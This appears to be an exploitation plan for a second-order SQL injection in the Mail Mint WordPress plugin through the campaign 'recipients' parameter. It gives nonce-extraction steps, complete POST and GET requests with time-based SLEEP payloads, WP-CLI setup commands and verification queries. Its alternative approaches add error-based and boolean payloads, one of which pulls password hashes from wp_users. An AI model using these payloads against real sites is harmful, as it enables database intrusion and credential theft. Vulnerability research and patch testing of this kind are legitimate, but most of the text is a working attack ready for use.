Mail Mint <= 1.24.1 - Authenticated (Administrator+) SQL Injection via 'recipients' Parameter

This research plan outlines the steps required to demonstrate the second-order SQL injection vulnerability in the Mail Mint plugin.

1. Vulnerability Summary

The Mail Mint plugin is vulnerable to an authenticated (Administrator+) SQL injection. The vulnerability is "second-order," meaning the malicious payload is stored in the database during one request and executed during a subsequent request.

• Storage Sink: A POST request to create or update a campaign (/mrm/v1/campaigns/) stores the recipients parameter. While the plugin performs a validation check (allegedly via a function named filter_recipients()), this check is bypassed because casting a string like 1) OR ... to an integer results in a valid numeric ID (e.g., 1), satisfying basic "is numeric" checks.
• Execution Sink: A GET request to retrieve the campaign details (/mrm/v1/campaigns/{id}) triggers the vulnerability. The stored JSON-encoded recipients are deserialized, and the id values are extracted (e.g., via array_column()) and concatenated directly into an SQL query without proper escaping or preparation (likely in an IN clause).

2. Attack Vector Analysis

• Endpoint: /wp-json/mrm/v1/campaigns/
• Vulnerable Parameter: recipients
• Authentication: Required (Administrator or user with mint_manage_campaigns capability).
• Preconditions: The plugin must be installed and activated.
• Payload Type: Time-based blind SQL Injection (using SLEEP()).

3. Code Flow

1. Entry Point (Storage): CampaignRoute::register_routes registers the POST / EDITABLE route for /mrm/v1/campaigns/ mapping to CampaignController::create_or_update.
2. Persistence: CampaignController::create_or_update calls handle_campaign_create or handle_campaign_update. The parameters (including recipients) are processed. The recipients array is serialized/stored in the database (likely in the wp_mint_campaigns table).
3. Entry Point (Trigger): CampaignRoute::register_routes registers the READABLE route for /mrm/v1/campaigns/(?P<campaign_id>[\d]+) mapping to CampaignController::get_single.
4. Processing: get_single retrieves the campaign data.
5. SQL Injection Sink: During the retrieval process, the plugin attempts to resolve the recipients' details. It takes the stored recipients string, deserializes it, and uses the id field from the objects. These IDs are passed to a query (likely via CampaignRepository) that looks like:
   SELECT ... FROM ... WHERE id IN ($id_from_payload)
   Because the payload is 1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -, the resulting SQL becomes:
   SELECT ... WHERE id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -)

4. Nonce Acquisition Strategy

The exploitation requires a wp_rest nonce to interact with the REST API using session cookies.

1. Create Page: Create a dummy page containing the Mail Mint dashboard (the plugin usually localizes its settings on its own admin pages).
   wp post create --post_type=page --post_status=publish --post_title="MailMint Dashboard" --post_content='[mail_mint_dashboard]' (Shortcode inferred from common plugin patterns).
2. Navigate: Use browser_navigate to wp-admin/admin.php?page=mail-mint.
3. Extract Nonce: Use browser_eval to extract the WordPress REST nonce from the global wpApiSettings object.
   • JS Variable: window.wpApiSettings.nonce
4. Alternate Extraction: If wpApiSettings is missing, check the localized script for Mail Mint:
   • JS Variable: window.mrm_admin?.nonce (Inferred from standard Mail Mint localization).

5. Exploitation Strategy

Step 1: Create a Malicious Campaign (Storage Phase)

Send a POST request to store the payload.

• Method: POST
• URL: /wp-json/mrm/v1/campaigns/
• Headers:
  • X-WP-Nonce: [EXTRACTED_NONCE]
  • Content-Type: application/json
• Body:

{
  "title": "Exploit Campaign",
  "status": "draft",
  "type": "regular",
  "recipients": [
    {
      "id": "1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -",
      "type": "list"
    }
  ]
}

Note: The ID 1 should correspond to a valid list ID in the database to ensure the query reaches the vulnerable logic.

Step 2: Extract Campaign ID

The response from Step 1 will contain the campaign_id. Record this ID.

Step 3: Trigger the SQL Injection (Execution Phase)

Perform a GET request for the newly created campaign and measure the response time.

• Method: GET
• URL: /wp-json/mrm/v1/campaigns/[CAMPAIGN_ID]
• Headers:
  • X-WP-Nonce: [EXTRACTED_NONCE]

6. Test Data Setup

1. User: Ensure an Administrator user is created and logged in.
2. List: Create at least one contact list so that a valid recipient ID exists.
   wp eval "Mint\MRM\DataBase\Models\ContactGroupModel::insert(['name' => 'Test List', 'slug' => 'test-list', 'type' => 'list']);"
3. Authentication: Log in to the WordPress dashboard to establish the session.

7. Expected Results

• Step 1: The server should return a 200 OK or 201 Created with a JSON object containing the campaign_id.
• Step 3: The server response should be delayed by approximately 10 seconds. This confirms the SLEEP(10) command was successfully executed by the database engine.

8. Verification Steps

After Step 3, verify the storage via WP-CLI:

1. Check Database: Query the campaign table directly to see the raw payload stored in the recipients column.
   wp db query "SELECT recipients FROM wp_mint_campaigns ORDER BY id DESC LIMIT 1;"
2. Check Logs: If enabled, checking the MySQL general log will show the malformed query being executed:
   SELECT ... WHERE id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -)

9. Alternative Approaches

If time-based blind fails (e.g., due to database timeouts or WAF):

• Error-Based: Use updatexml() or extractvalue() in the id parameter if the plugin returns database errors in the REST response.
  • Payload: 1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
• Boolean-Based: If the response changes based on whether recipients are found, use boolean payloads.
  • Payload: 1) AND (SELECT 1)=1-- - vs 1) AND (SELECT 1)=2-- -